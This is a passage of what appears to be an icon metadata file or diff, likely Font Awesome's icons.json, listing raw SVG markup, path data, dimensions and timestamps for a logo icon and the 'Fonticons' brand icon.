29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "3992", + "512" + ], + "width": 3992, + "height": 512, + "path": "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" + }, + "solid": { + "last_modified": 1628088635495, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 3992 512\"><path d=\"M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "3992", + "512" + ], + "width": 3992, + "height": 512, + "path": "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" + }, + "brands": { + "last_modified": 1628088633723, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 3992 512\"><path d=\"M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z\"/></svg>", + "viewBox": [ + "0", + "0", + "3992", + "512" + ], + "width": 3992, + "height": 512, + "path": "M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z" + } + }, + "free": [ + "regular", + "solid", + "brands" + ] + }, + "fonticons": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f280", + "label": "Fonticons", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722329, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 